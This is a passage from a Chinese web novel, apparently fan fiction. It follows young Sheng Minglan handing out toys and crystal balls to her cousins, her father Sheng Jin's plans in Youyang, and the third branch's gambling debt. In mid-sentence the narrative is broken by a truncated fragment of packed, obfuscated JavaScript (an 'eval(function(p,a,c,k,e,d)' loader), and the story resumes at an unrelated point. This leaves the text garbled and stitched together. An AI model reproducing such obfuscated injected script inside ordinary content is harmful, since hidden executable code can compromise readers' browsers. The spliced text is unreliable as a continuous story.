盛瑾听到李氏和盛纭送东西过来时,也让自己的小厮将之前准备好的礼物拿出来,分别送到李氏和盛纭手里,然后,他便忙着将带来的东西分门别类放置起来,而盛明兰则是在自己的房间里玩着盛瑾送给她的差不多一米高的兔娃娃,只是她没想到只有一面之缘的盛品兰如今心心念念的都是她。 盛品兰正缠着自己的姐姐带她来找妹妹玩,盛淑兰被盛品兰缠的没有办法了,便开口道:“我可以带你去找明兰妹妹玩,但是你不能吓到妹妹,或是带着明兰妹妹跑出去玩,知道吗?” 盛品兰一脸兴奋的挺着胸膛,语气中带着撒娇的意味,保证道:“姐姐,我保证绝对不会吓到妹妹,也不会带着妹妹跑到没人的地方玩,你快带我去嘛。” 盛淑兰看向一旁的表妹胡桂姐,瞧着胡桂姐也是一脸意动的样子,无奈的带上了她们两个人一起去找盛明兰了。 盛品兰一来到盛瑾他们的院子,就迫不及待的挣开盛淑兰的手,朝着盛明兰的房间跑去,全然忘记了盛淑兰来前的嘱咐以及她的保证。 盛淑兰瞧着正迈着小腿疯跑的盛品兰,脸上满是懊恼,道:“我怎么就相信了我这个妹妹的鬼话了呢。” 胡桂姐见此情况,对盛淑兰捂着嘴笑道:“表姐,我们还是快点跟上吧,不然到时候表妹吓到明兰表妹就不好了。” 盛淑兰听到胡桂姐的话觉得十分有道理,便急忙跟了上去,生怕赶不上盛品兰,到时候盛品兰吓到盛明兰就不好了。 胡桂姐和盛淑兰已经是十四五岁的年龄了,自是知道这盛明兰如今是丰国公府的嫡长女,若是出了什么事情也影响两房关系。 盛品兰因着小蝶带着丫鬟们去清点东西了,才能静悄悄的来到盛明兰的房间外,不过,还真让盛淑兰和胡桂姐说准了,此时盛品兰正轻手轻脚的来到门口,将脑袋伸进房间,双手抓着门框,朝里看去,突然,她看到盛明兰手上抓着得兔娃娃,两眼放光,语气激动的大喊道:“小兔子。”然后,急忙跨过门槛,跑到盛明兰面前。 盛明兰被盛品兰这一声“小兔子”吓的一屁股跌坐在地上,眼眶通红的盯着盛品兰,偏偏吓人的盛品兰还不自知的跑到盛明兰面前,大喊着:“兔子,兔子,不是小兔子,是大兔子。” 在外面的盛淑兰和胡桂姐一听到盛品兰一声声“小兔子”,相互一看,心里暗道:“不好,品兰(品兰表妹)可别吓到明兰堂妹(明兰表妹)啊!” 盛淑兰和胡桂姐加速冲进房间,一进来就看到盛明兰双手紧紧的抱着兔娃娃,跌坐在地上,眼眶通红的看着盛品兰的场景,可偏偏盛品兰这个熊孩子还不自知的站在一旁兴奋的喊着“兔子”。 盛淑兰瞧着眼前这景象只觉得头大,可是她还要收拾盛品兰惹出来的烂摊子,于是她只能自我安慰道:“还好还好,我这个熊妹妹没有上手去抢,要不然可不知道咋办了。” 盛淑兰平复了一下心情后,走上前去,将盛明兰抱了起来,对着盛品兰语气严厉道:“品儿你别喊了,你没看到妹妹被你吓到了嘛,还想不想和妹妹玩耍了。” 盛淑兰低头看了看怀中的盛明兰,然后,用一只手拍了拍盛明兰衣裙上的灰尘,面带微笑道:“吓到了嘛,明儿堂妹,还记得我吗?我是你淑兰堂姐,那是你表姐,这个吓你的小姑娘是你的品兰堂姐,不怕不怕啊!她就是想和你一起玩而已,没事,淑兰堂姐帮你打她。” 盛淑兰的威胁显然是有效的,此时的盛品兰已然被自己姐姐的声音唤了回来,她看着盛明兰眼眶通红的样子,语气中带着心虚,道:“抱歉妹妹,我看到兔子太兴奋了,对不起啊!要不你打我吧。”说着盛品兰闭上眼睛,伸出手臂,咬咬牙,等着盛明兰打她出气。 盛明兰被盛品兰这样子给逗笑了,随即摇着头,道:“我不生气了,也不打你了,你喜欢兔子嘛,我有好多兔娃娃,不仅有兔娃娃,还有熊娃娃,好多的娃娃,你可以和我一起玩,但你下次不要再这样了。” 盛品兰闻言,急忙点头,用力拍着小胸脯,保证道:“我下次一定不会这样了。”虽说她这话的可信度有待考量,但盛明兰显然相信了她,而盛淑兰和胡桂姐也为此松了口气,她们也怕自家堂叔父(舅舅)误会她们欺负盛明兰,其实小孩子之间的矛盾有时候就是这么容易解决的,她们有些多虑了。 盛明兰原谅盛品兰后,便将盛品兰拉到了床边,映入眼帘的就是十五六个娃娃,有和盛明兰手中一样大的,也有比它小的,其中有一只也是兔子,不过它和盛明兰手中的那只形态不一样,但大小还是一样的,其他的则是熊、猫、狗等类型的娃娃。 盛品兰盯着这满床的娃娃,眼睛发出光芒,想要拿一个,又想到这是盛明兰的东西,不是自己的,不能随便拿。 盛明兰看着盛品兰一脸想要又不能拿的样子,不由得想起小蝶说过可以给堂姐表姐送礼物的话,直接从床上拿起那个兔娃娃,塞到了盛品兰的怀中,用那宛如霸道总裁般的口吻,道:“你不是喜欢兔子嘛,这个送你了。” 盛品兰紧紧的抱着盛明兰塞到自己怀里的兔娃娃,语气中满是兴奋,道:“这个兔子娃娃你真的送给我,不反悔。” 盛明兰害怕盛品兰不相信,一脸郑重的点点头,道:“嗯,送你了,你不是喜欢吗?这个就当我给你的礼物了。” 盛品兰开心的一手抱着兔娃娃,一手搂过盛明兰,语气中洋溢着快乐,道:“你真是个好妹妹,我最喜欢你了。” 盛明兰被盛品兰手中的兔娃娃挤的不行,拍了拍盛品兰,气息有些不稳,道:“我知道了,品兰姐姐你可以放开我了,我快喘不过气了。” 盛淑兰和胡桂姐刚从一床布娃娃的冲击中缓过神来就看到盛品兰死死地抱着盛明兰,盛淑兰急忙开口道:“品兰快松开明兰妹妹,没看到明兰妹妹被你挤的很难受嘛。” 盛品兰这才反应过来放开盛明兰,她看着盛明兰有些通红的小脸,语气中满是歉意,道:“对不起,妹妹,我太激动了。” 盛明兰瞧着盛品兰这样也不是故意的,便大方的原谅盛品兰,道:“我知道品兰姐姐你不是故意的,但是你下次抱我的时候可不可以轻点啊!” 盛品兰用力的点了点头,然后,便抱着那个兔娃娃,满眼放光,道:“我的兔娃娃,我的小兔子。”她有时候激动起来还和兔娃娃贴贴脸,这让一旁站着的盛淑兰简直没脸去看自己妹妹的傻样。 盛明兰见盛品兰都有了礼物,瞧着盛淑兰和胡桂姐的身高,自觉不适合送他们布娃娃,她对着她们,指着床边一个与她差不多高的箱子,道:“淑兰堂姐,表姐,你们能帮我把那个箱子推出来嘛。” 盛淑兰和胡桂姐虽然不清楚盛明兰要干什么,但是她们还是帮她将箱子抬了出来,索性的是这箱子没有多重,不一会儿,她们便将箱子抬到了床前。 这个箱子是白滢婷特意为盛明兰选的,为得就是让盛明兰放她喜欢的小玩意,方便盛明兰取出来玩,这个箱子上还有一把小锁,钥匙则挂在盛明兰的脖子上。 盛明兰从脖子上取出钥匙打开了箱子,将箱子里的七个小箱子拿了出来放在床上,三个较大的箱子,三个较小的箱子,还有一个最小的箱子,然后,她将这些小箱子一个个打开。 盛淑兰和胡桂姐被眼前的东西给惊呆了,前三个较大的箱子中,第一个箱子里面放着三个水晶球,可以看见三个水晶球里呈现出不同的风景,美轮美奂的;第二个箱子里放着各式各样动物型的玻璃杯;第三个箱子里则是各种玉石雕刻成的小动物,栩栩如生,看样子还能当成吊坠使用,其中还放了一件东西,盛明兰告诉她们那个东西名为风铃,只见盛明兰将风铃举起来,吹了口气,那风铃随着风摆动,发出悦耳的声音。 那三个较小的箱子中,第一个箱子里放着一个八音盒,盛明兰拿着钥匙拧了一下,随着音乐响起,一座小型塔慢慢的形成;第二个箱子里是一个精致的马车模型和一座小型的客栈模型,可以拆了重新组装;第三个箱子里是一个精致的小灯笼,四周用玻璃为围成,中间是一个小圆球,盛明兰兴奋的告诉她们,晚上小圆球还会发光。 盛明兰的话吓到了盛淑兰和胡桂姐一跳,她们可不是三岁小孩,晚上会发光的球,该不会是夜明珠吧,她们压下心里的疑问,打算回去告诉父母,让父母提醒一下堂叔父(舅舅),别让明兰表妹拿着这种东西出去,容易被抢啊! 最小的箱子是最后一个打开的,这个箱子里装着一个用玉雕刻而成的玉兰花,中间有粉色的花蕾,栩栩如生,浑然天成。 盛明兰看着最小的箱子思考片刻后便将其关上,放回大箱子里,然后,对着盛淑兰和胡桂姐,语气中带着些许心虚,道:“除了这个其他的东西随便你们挑,当我送你们的礼物了。” 盛淑兰眼中带着些许疑惑,语气轻柔的询问盛明兰,道:“明兰妹妹,你为什么要给我们送礼物呢。” 盛明兰没有任何犹豫的将自己的想法告诉了盛淑兰,盛淑兰听完后,眼含笑意,道:“明兰妹妹,你爹爹送给我们见面礼,所以我们父母也送给你见面礼,因此,你不用回礼。” 盛明兰一脸坚定的摇头回道:“不要,我一定要送你们礼物,我爹爹只送了你们每人一样,大婶婶和姑姑送了我好多东西,我也要送你们礼物。”她并不知道就在刚才盛瑾又送了些东西过去。 盛明兰被白老爷、盛瑾、白滢婷和盛老太太宠了段时间,因此,她的胆子也被养大了些,已然没有当初那般谨慎了。 盛明兰见盛淑兰和胡桂姐不愿意挑选,随即抓起水晶球分别往她们手上塞,她们倔不过盛明兰便收下了,还在心里暗暗庆幸道:“好在明兰堂妹(表妹)没有将那个可能是夜明珠的小灯笼给我,说什么都不能拿那个小灯笼。” 盛淑兰和胡桂姐此时思维同步的想道:“回去一定要让瑾堂叔父(舅舅)告诉明兰堂妹(表妹)她的那箱东西值多少钱,这还是送自家人,要是别人,还不把明兰堂妹(表妹)的东西都拿走啊!” 可惜盛明兰不知道盛淑兰和胡桂姐心里的想法,不然她一定会双手叉腰,大喊道:“我才没有那么好骗呢,如果不是看大婶婶和姑姑对我不错,我才不会送东西给你们呢。” 盛明兰见盛淑兰和胡桂姐都收下了水晶球,便将其他东西放回了箱子里,然后与盛品兰一起在床上玩布娃娃,两人年纪相差不大,所以她们相处起来十分融洽。 盛淑兰和胡桂姐也在一旁陪着他们两个人一起玩耍的同时,还要看着她们两个人,不让她们受伤。 等盛瑾忙完事情后,打算去找自己的宝贝女儿,一进院子就听到了盛明兰房间里传出一阵阵爽朗的笑声。 盛瑾感到好奇,就没有像往常一样出声叫盛明兰,而是静悄悄的走到房门口,一进房间就看到了盛淑兰、盛品兰、胡桂姐和盛明兰一同玩耍。 盛明兰一眼就看到了盛瑾,脸上露出灿烂的笑容,大喊道:“爹爹,你回来了,明儿好想你啊!”一边说一边下床,朝着盛瑾跑来。 盛瑾弯下腰一把抱起扑倒他怀中的盛明兰,蹭了蹭盛明兰的小脸蛋,语气中充满了柔和,道:“爹爹也想你。” 盛淑兰和胡桂姐被盛瑾和盛明兰的相处模式给惊到了,过了一会儿回过神来的她们才向盛瑾服了服身,行了礼,盛瑾也向她们微笑的点了点头。 盛淑兰想到盛明兰送给自己的水晶球,觉得那个水晶球应该价值不菲,因此,她开口道:“堂叔,那个明兰堂妹送给我们这个水晶球看起来价值不菲,要不您收回去吧。” 胡桂姐也在一旁点了点头,一旁的盛品兰以为要收回自己的兔娃娃,扁了扁嘴,紧紧的抱住自己的兔娃娃。 盛瑾脸上带着淡淡的微笑,语气柔和,道:“没关系,明儿既然送给你们了,那你们就收下吧,她的东西,她自己决定,我不干涉。” 盛品兰小朋友一听不收回去了,喜笑颜开的对着盛瑾恭维道:“堂叔父你真好,和妹妹一样好。” 盛瑾闻言,不禁莞尔一笑,随即走上前,用一只手揉了揉她的脸,道:“你也很好,堂叔父还要谢谢你来陪妹妹一起玩耍呢。” 盛瑾说完便将目光转向盛淑兰和胡桂姐,语气柔和,道:“谢谢你们愿意带着明儿玩,瞧着也快到用午膳的时候了,要不你们留下来用陪我们用个午膳吧。” 盛淑兰和胡桂姐瞧着盛品兰那意犹未尽的样子,又看着盛明兰眼中的不舍,她们也不好拒绝什么,只道:“那就打扰瑾堂叔父(舅舅)了。” 盛品兰一听可以和盛明兰一起用饭,开心的抱着兔娃娃围着盛瑾转,盛瑾看着盛品兰的样子很是眼馋,随即腾出另一只手,一把将她捞起,惹得盛品兰连连惊呼,随即又兴奋的大叫。 盛瑾就这样抱着盛明兰和盛品兰好一会儿,才将她们都放了下来,让她们自己去玩,随即出门找来丫鬟,吩咐她去准备午膳,然后,让另一个丫鬟去通知李氏和盛纭,三个孩子在这里用饭了。 盛瑾将这些事情办完后,便直接去找盛老太太了,一进门就看到盛老太太正在逗着自家小孙孙盛长安,房嬷嬷站在一旁伺候着。 盛老太太看到盛瑾进来,脸上浮现出一抹笑容,道:“瑾儿,你来了,东西都收拾好了嘛,有什么缺的吗?直接去告诉你大堂嫂嫂,她会给你送来的。” 盛瑾看着盛老太太,语气柔和,道:“没什么缺的,我瞧着母亲今日气色不错,就一夜的时间,母亲的脸色看起来好多了,可见宥阳老家养人啊!对了,我刚刚瞧着明儿也开朗了许多。” 盛老太太笑意盈盈的打了一下盛瑾的手臂,道:“你惯会打趣我,不过明儿看起来是开心了许多,毕竟这里有伙伴玩耍嘛。” 盛老太太看了一眼盛长安,语气中带着一丝感叹,道:“到底是你大堂嫂嫂和堂妹会养孩子,也了解孩子,一个早上,明儿就和品兰好的都快穿一条裤子了。” 盛瑾嘴角微微上扬,语气一本正经,道:“母亲若是想待在宥阳,那我们就在这宥阳住上几年,再把义父、妹妹、炜儿都接过来一起住,反正我在这里也有宅子。” 盛老太太知道盛瑾是在开玩笑,她瞪了盛瑾一眼,道:“还住几年呢,你能放得下烨哥儿那个孩子一人在扬州城嘛,你舍得嘛,惯会说些好听的,再说了,你莫忘了自己只有三年假期吧。” 盛瑾闻言,微微一笑后,不知想到了什么,语气有些冰冷,道:“我之前和义父妹妹说过了,我至少会在宥阳待上半年,顺便帮着维堂兄解决三房的麻烦,毕竟三叔父那一房属实是有些不像话了。” 盛老太太一听就知道盛瑾调查了盛家三房的人,不过,她此时在意的只是自己可以待在宥阳盛家至少半年,她顿时心里乐开了花,也不管自己的儿子如何对付三房了,反正自己儿子也不会杀了他们,顶多对他们严加管教。 盛老太太心情好了,脸上的笑容又灿烂了几分,道:“那你要好好对待你维堂兄的姑娘哥儿们了,毕竟我们要在这里住上半年呢。” 盛瑾听见盛老太太这么说,不由的打趣道:“母亲现下就帮着维堂兄的姑娘哥儿们来向儿子要东西了,唉,儿子在母亲这里越发不受宠了,不过,好在儿子有先见之明,瞧着带来的布匹中有几匹粉色的锦缎正好适合侄女们,等一下便让人给大堂嫂嫂和堂妹送去了。” 盛老太太早已习惯了时不时皮一下的盛瑾,她没有在意盛瑾的打趣,只道:“你心里有数就好,对了,你大堂嫂嫂和弟妹有些矛盾,你别在她面前提你弟妹。” 盛瑾闻言,眼神中带着些许笑意,语气中带着一丝无奈,道:“母亲,你在说什么呢,儿子没事和大堂嫂嫂提什么弟妹的事情啊!” 盛瑾说到这里,思考了一下,对着盛老太太接着道:“母亲,我看了一下大伯母身体不太好,正好我带了郎中和药材,要不让他去瞧瞧大伯母的身体吧。” 盛老太太眼神中带着些许意动,心里不由得想道:“大嫂嫂前半辈子是在苦水里熬的,她的身子早就空了一半,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李氏听着自家大女儿描述了今天在盛瑾院里发生的事情以及自家小女儿干的蠢事,不由得扶额道:“我是短你吃了,还是短你穿了嘛,你用得着在你瑾堂叔父那里连吃带拿啊!” 盛品兰小朋友骄傲的抱着兔娃娃,道:“那是妹妹和瑾堂叔父喜欢我,送我的,而且瑾堂叔父还欢迎我经常去他那里和妹妹玩呢。” 李氏看着盛品兰,心中产生一种无力的感觉,语气中带着些许无奈,道:“随你吧,但是不能给你瑾堂叔父造成麻烦,不然看我怎么收拾你。” 盛淑兰拿着水晶球看向李氏,眼中满是不知所措的询问道:“母亲,这个东西怎么办呢?要不要交给父亲,让父亲再送回到瑾堂叔父手中。” 李氏刚要回答,只见盛维满脸笑意的大步走进来,语气中带着些许愉悦,道:“淑儿你在说什么东西呢?还需要我帮你还给瑾堂弟呢?” 等盛维走进来后,才发现盛淑兰手上的水晶球,语气中带着一丝惊讶,道:“这哪来的。”他经商多年一眼就知道这东西价值不菲,至少以现在的技术很难弄出来。 盛淑兰又把今天的事情讲了一遍,盛维摸了摸胡子,思考了一会儿,道:“你就收下吧,既然是你明兰堂妹送你的,就是姐妹之间相互送礼,不用顾忌这么多。” 盛淑兰闻言,心里松了口气,随即脸上浮现出一抹笑容,道:“既然父亲这么说了,那女儿也就放心的收下了,不过,女儿现下需要去看看有什么可以回礼给明兰堂妹的。” 盛品兰站在一旁听到盛淑兰的话,满脸写着我也要,声音上扬,道:“父亲,父亲,我也要和姐姐一起去,我也要送给妹妹东西。” 盛维脸上仍带着笑意,道:“好,你也送,但是淑儿你记住心意最重要,你瑾堂叔父的家底丰厚,不在乎东西的价值,主要还是看心意。” 盛淑兰对着盛维点了点头,回道:“父亲,我知道了,那我先带着妹妹离开了。”她瞧见盛维点头后,便拉着盛品兰一同下去给盛明兰准备礼物了。 等盛淑兰她们走后,李氏看着盛维心情不错,心里不由得想到今早盛瑾给她送的那些个东西,于是她的心情也变得十分愉快起来。 其实李氏之所以不喜欢王若弗的主要原因还是王若弗的态度问题,王若弗本就出身官宦人家,看不起商贾之家这没什么,但王若弗错就错在看不起自家人。 王若弗自从嫁入盛家后,看到盛维这一房是商贾之家时,打心底里觉得她比盛维这一房高贵,偏偏她面子上又不会装,妯娌之间相处让人看了出来,任谁都不喜欢热脸贴冷屁股,更何况两家还是亲戚呢,而且两家也是互相帮助的,没道理谁欠谁的。 对于盛老太太,李氏还是十分的尊敬的,正是因为王若弗和盛老太太的态度不同,形成了鲜明的对比,因此李氏心里就会产生些许的不平,难道你一个官宦人家出身的就比勇毅侯府的独女更高贵嘛。 李氏在得知盛瑾要来宥阳时,她起初还是担心的,毕竟王若弗的态度问题,造成了她心中的一根刺,让她心里想着盛瑾这个国公爷会不会也和王若弗一个态度,但是她转念一想,盛瑾都不介意商贾出身的白老爷为义父,在这方面应该是不介意的。 尽管李氏如此想着,但她的心里还是有些担心的,直到盛瑾到来后,通过这几天的观察,李氏发现盛瑾为人还是很好的,对自家孩子也不错,尤其是盛明兰对大房一家的态度也很好,并没有因为其国公之女的身份欺负人,因此那颗悬着的心也放下了。 李氏想到这里,不由的对盛维道:“瑾堂弟真是客气啊!不仅留了淑兰她们三个吃饭,还派人送了两匹粉色的锦缎过来,妹妹那里也有,我看那两匹锦缎材质、染色工艺都是极好的,那颜色一看就适合给小姑娘们做衣裳,我们家这三个小姑娘真是占了便宜了。” 盛维对盛瑾这个堂弟十分满意,为人处世都是极好的,他摸着胡须,眼含笑意语气中带着些许满意,道:“瑾堂弟也真是的,一家人哪来的那么多客气啊!” 盛维说到这里,目光柔和的看向李氏,道:“你不必有什么负担,这八成是为了感谢我们家这几个孩子陪明姐儿玩吧,毕竟从这几天的相处来看,瑾堂弟是打心底里在乎这个女儿的。” 盛维说到这时,眼神微沉,对着李氏,压低声音,语气中带着一丝八卦的意味,道:“可能是之前在扬州城里,没有玩伴陪明姐儿一起玩耍吧。” 李氏随即明白了自己官人的意思,因为王若弗的态度问题,早些年李氏曾与王若弗发生过一些口角,因此双方关系不是很好,也极少交流。 正因为李氏和王若弗的关系不好,所以她对于王若弗的事情也是有些了解的,再加上盛维曾于她谈论过盛明兰的出身,她的心中很快就有了答案。 李氏在心里暗暗想道:“明姐儿曾是个不受宠的妾氏所生的庶女,因而大家都不曾把她放在心上,但是谁曾想,一个庶女竟然能摇身一变,成为国公爷的嫡长女,勇毅侯府独女的嫡亲孙女,这落差就如同毛里求斯莫纳山的海底瀑布一样,堪称“奇观”啊!一般人没个一时半会儿都缓不过来,更何况是一个小孩子呢,估计是王若弗的那个小女儿放不下身段和明姐儿一同玩耍吧,毕竟身份一直比自己低的庶妹竟然成了国公爷的掌上明珠了,这下可便宜了我家品儿了,依照现在瑾堂弟的态度,只要自家品儿和明兰好好相处,那好处决对少不了的。” 李氏想到这里,眼睛微眯,笑意盈盈,道:“也是,那我让品儿平日多去找明姐儿玩耍,她们俩年纪相差不大,可以玩到一块去,这样两人都不孤单了。” 盛维看着李氏这般知趣明理,心里甚是欣慰啊!突然,他想起来一件事来,询问道:“你和你娘家说了瑾堂弟的事情了吗?他们是不是要来呢?” 李氏闻言,脸上浮现出淡淡的笑容,道:“我前几天已经派人与他们说了,想来是要过阵子再来吧,也好让瑾堂弟和我们多相处些天。” 盛维面色不改,道:“这样也好,到时候也让你娘家的人和瑾堂弟认识认识,当年瑾堂弟游历天下不知结交了多少大儒、书院的夫子,你家那两个侄子不是要走科举的路嘛,正好交流交流一下,没准瑾堂弟认识宥阳附近一些有名的夫子也说不准。” 李氏听盛维这一说眼前一亮,心里暗暗道:“对啊!瑾堂弟当年无双公子的名头可是很响亮的,就算不认识也没关系,以瑾堂弟的能力,到时候两个孩子考上举人后,赴京赶考时稍加指点,也够两个孩子用的。” 李氏当然希望娘家越来越好,这样她在盛家的腰杆子也能越来越硬,于是她对盛维笑意盈盈,道:“我知道了,多谢官人提点。” 这边盛维和李氏讨论事情,那边盛纭在听完胡桂姐的描述后,语气中满是惊叹,道:“瑾堂兄这是打算金尊玉贵的养着明姐儿吧,这些价值不菲的东西给小姑娘当玩具,也不知道瑾堂兄咋想的。” 胡二牛憨憨的笑道:“你管瑾堂兄咋想的,总之我们家孩子是占到便宜了,瞧瞧又得了一匹上好的锦缎,再说了,国公府嫡长女再怎么金尊玉贵养着都不过分,更何况人家有这个实力。” 盛纭看着胡二牛,脸上的表情已经回复常态了,她语气中带着些许笑意,道:“你说的也是,不过这才几天啊!瑾堂兄就给孩子们送那么多礼物,还有给我们的礼物,看来瑾堂兄身家不是一般的厚啊!” 胡二牛面色不改道:“你管瑾堂兄的身家厚不厚做什么嘛,反正绝对比我们的身家厚就是了,再说了,这是明姐儿送给咱们女儿的,又不是瑾堂兄送的。” 盛纭眼中笑意不减,语气平和,道:“也是,看看明姐儿被瑾堂哥和婶婶养着这般知礼,想来长大后也不会差到哪里去。”她接着又对着孩子们嘱咐道一定要好好和盛明兰相处,而后与胡二牛一同忙别的事情去了。 第 47 章 清晨,宥阳盛家已然忙碌起来了,盛瑾此时正一个人在院子里教盛明兰小朋友读书,突然,盛品兰小朋友跑了进来,他看着盛品兰冒冒失失的样子,嘴角微微上扬,脑海中冒出一个想法,随即在盛明兰耳边低语了几句后,盛品兰小朋友很光荣的被盛明兰小朋友拉着一起学习了。 盛品兰小朋友起初一脸懊恼的面对着盛瑾,毕竟她年幼且性子活泼,对读书这种事情向来是不耐烦的,但架不住自己的好妹妹盛明兰的请求,只能与盛明兰一起读书,可是她没想到盛瑾教的很有趣,于是她心态从最初的被迫变成了主动,以至于等盛瑾读完书后,让她们玩耍时,盛品兰还一副意犹未尽的神情。 盛瑾自是瞧到盛品兰先前听得津津有味的样子,他看着一副恋恋不舍表情的盛品兰,捏了捏盛品兰的小脸,道:“今天先讲到这里,你带着明儿去玩,我们改天再继续读书。” 盛品兰闻言,点了点头,拉上盛明兰拿着玩具跑到一旁玩耍起来,而盛瑾则坐在一旁看着她们玩耍,至于盛淑兰和胡桂姐,因着她们比盛品兰和盛明兰大了不少岁,再加上昨日才来过,不好像盛品兰这样时常来院子里找盛明兰玩耍。 盛瑾看着盛明兰和盛品兰欢声笑语的玩耍,心情也不自觉的随着她们的声音愉悦起来,而盛老太太今天一大早就带着智能型机器人扮成的郎中来到了盛大老太太的院子,现下这位郎中恐怕正在给盛大老太太诊脉呢。 盛老太太眼神中带着些许担忧的看向郎中,道:“怎么样?”她身旁的李氏也紧张的看向郎中,毕竟盛大老太太待她极好的,她也想让盛大老太太好好的。 盛瑾的智能型郎中,一本正经的说道:“老太太早年内里亏空太厉害了,虽然这些年也养回来不少了,但到底是伤到了根本,不过我还是有法子让老太太养回来的,若按照我的方子来调养一年,保准老太太能活个百八十岁。” 盛老太太和李氏听完郎中的话都开心不已,李氏一脸诚恳的看着郎中,道:“郎中需要什么药材尽管提,我们盛家一定想办法给你弄到。” 那智能郎中面不改色,语气淡然,道:“大娘子不需要多费心了,国公爷交待过,调养老太太的药材皆由他所出,我现下回去写方子给国公爷,国公爷到时候会将药材配好送来给老太太的。” 智能郎中说完,便在李氏还未反应过来时,向盛老太太行礼告退,等李氏回过神来,那位智能郎中早已不见踪影了,李氏看着盛老太太有些不知所措。 盛老太太脸上浮现一抹笑容,道 :“瑾儿手底下能人大多都是如此的,你莫要见怪,不过,既然他说瑾儿要给大嫂嫂出药材,那还省了许多麻烦呢。” 李氏闻言,语气有些急促,道:“哪能让瑾堂弟如此破费呢,不能啊!况且这本就是瑾堂弟给二婶婶以备不时之需而准备的药材,哪里能动二婶婶您的药材呢,实在不行,二婶婶让瑾堂弟把药材的价钱报给我也成,我再把银钱给瑾堂弟。” 盛老太太语气柔和道:“你不用放在心上,你们就当瑾儿这个做侄儿的为自己大伯母尽上一份心意吧,一家人不用这样,再说了,瑾儿来宥阳时,光是药材就带了两个大箱子,塞得满满当当的,就是匀出一些也是够用的,不打紧的。” 盛大老太太才从之前郎中的话中回过神来,她的身子,她自己是最了解的,能让她的身子恢复的药材决计不是普通的药材,这些药材的价钱也决对不便宜。 盛大老太太看了一眼盛老太太,目光柔和,道:“好了,媳妇就听你二婶婶的吧,到时候你逢年过节的多给明姐儿和安哥儿送些礼物就行了。” 盛老太太眼中闪过一丝笑意,语气中带着些许调笑的意味,道:“那我家明姐儿和安哥儿可有福了,正巧我们至少要在宥阳待半年才离开呢。” 盛大老太太和李氏听了,睁大了双眼,脸上同时浮现出惊喜的表情,语气微微上扬,道:“真的,瑾哥儿(堂弟)真是这么说的。” 盛老太太面带笑意的点了点头,然后,盛大老太太一把抓住盛老太太的手,语气和神情难掩激动,道:“那么我们妯娌又能好好相处一段时间了。” 李氏在一旁拍了下手,满脸笑容,语气中充满了喜悦,道:“那可真是太好了,二婶婶你们要在宥阳待半年这件事情,若是官人知道了一定会十分高兴的。” 盛老太太脸上的笑容随着李氏的话又浓了几分,她开玩笑道:“莫要说得这么早,时间久了,你们可别嫌弃我们这一大家子人啊!” 李氏看着盛老太太一脸诚恳,语气中充满了亲切的意味,道:“我欢迎二婶婶你们多待些时日还来不及呢,如何会嫌弃二婶婶你们呢。” 盛老太太闻言又打趣了李氏几句,屋内气氛是一片祥和,而盛维那里的气氛就不怎么好了,盛家三房那边的人现在正和盛维哭诉着三老太爷惹的事情。 盛维脸色低沉的听着盛家三房三老太爷的儿子媳妇盛绉夫妇哭诉,他们断断续续的述说着三老太爷被人带去赌博欠了钱的事情。 盛维通过盛绉夫妇的描述,才得知盛家三房之前之所以没有一起来迎接盛瑾纯粹是因为三老太爷和人赌博发生矛盾受了伤不能来。 盛绉只开了个头后,便站在一旁默默不说话,而盛绉的继室三房太太则一边哭一边说道:“维堂兄啊!我们这也是没办法了,公爹和人赌博欠了三千两啊!我们三房的情况你又不是不知道,把我们全卖了都没有三千两这么多啊!你想想办法啊!秀兰、月兰、慧兰可都是你的侄女啊!还有长梁,他可是盛家三房的独苗苗啊!” 盛维被三房太太哭的头疼,扶了扶额,道:“三叔不是早就不赌了嘛,如今又是怎么回事啊!你们有没有问清楚啊!别是三叔父被人套路了。” 三房太太哽咽的回道:“公爹那日和人起了冲突受了伤害后,回来一直说他是被人骗的,但我们也不知道是真是假,不是说我们这些做儿子媳妇的不信他,实在是公爹那性子,唉,我这个做媳妇的不好多说公爹什么,可维堂兄也是知道公爹的性子的。” 盛维听着三房太太的话,语气中带着一丝冷意,道:“我那三叔父什么性子,我不知道,不过,他哪有那胆子和别人起冲突,这次八成真如他所说的被人骗了,你们先回去,我派人去打听一下再做打算。” 三房太太愣了一下,眼中闪过一丝犹豫,道:“这还要派人调查嘛,直接把钱给他们就行了,再不济我们盛家不是出了一位国公爷嘛,他…” 三房太太还没说完,盛维脸上表情骤变,语气中带着些许怒火,声音微微上扬,道:“你还敢打盛国公的主意,谁给你的胆子啊!我们盛家给过他什么,是养过他,还是给过他什么东西,你有什么脸面去和他提这件事情,还是你让我去告诉他,他有个三叔父惹了麻烦,需要他帮忙啊!这人还没入族谱呢,就被告知他有一房拖后腿的亲戚需要他来帮忙嘛,是你有这个脸,还是盛家谁有这个脸啊!盛绉,这是不是你的主意吗?” 盛绉听到盛维叫他,抖了个机灵,转头看向盛维,只见盛维对着他怒目而视,语气中的怒火毫无掩饰,道:“感情你们打着盛国公的主意啊!” 盛绉被盛维的话吓到了,他可不敢打盛国公的主意,他虽然没什么本事,但他不傻,能靠自己的能力当上国公爷又位居正一品少师的人哪里是吃素的,他哪来的胆子敢打国公爷的主意啊! 盛绉的头立马像拨浪鼓一般摇起来,语气中带着些许惊恐,道:“我哪敢啊!维堂兄,你是知道我的,我哪有那胆子啊!都是这个臭婆娘的主意。” 盛绉说到这里,目光凶狠的看向三房太太,随即抬手给了三房太太一巴掌,道:“你再维堂兄面前胡说什么呢,快快闭上你的嘴吧。” 三房太太被盛绉的这一巴掌给打蒙了,因为盛绉这么多年来从没对她动过手,她此时心里充满愤怒的想道:“你居然敢打我,盛绉你个没出息的,居然敢打我,我和你拼了。” 正当三房太太想要发火时,被盛绉眼中的愤怒给惊醒了,她回想起自己刚刚说过的话,一下子激灵了过来,心里不由自主的想道:“我疯了吗?我居然敢打二房老太太的亲儿子的主意,要是被二房老太太知道了,那老太太不会活剥了我吧,还有那盛国公他对盛家可没什么感情,这要是被他知道了,我就死定了,不能动盛家的人,还不能动我这个没给盛家生过儿子的人嘛。” 三房太太此时心中一片惊慌,已经顾不得盛绉打她的事了,三房太太是盛绉的填房,盛长梁是在盛绉前头妻子名下的,她只给盛绉生了一对女儿盛秀兰、盛慧兰。 三房太太找盛维是因为他是盛家的族长,所以不会不管她们的,但是盛瑾可不一样,盛家对盛瑾而言可是可有可无的存在,他入族谱完全是为了盛老太太。 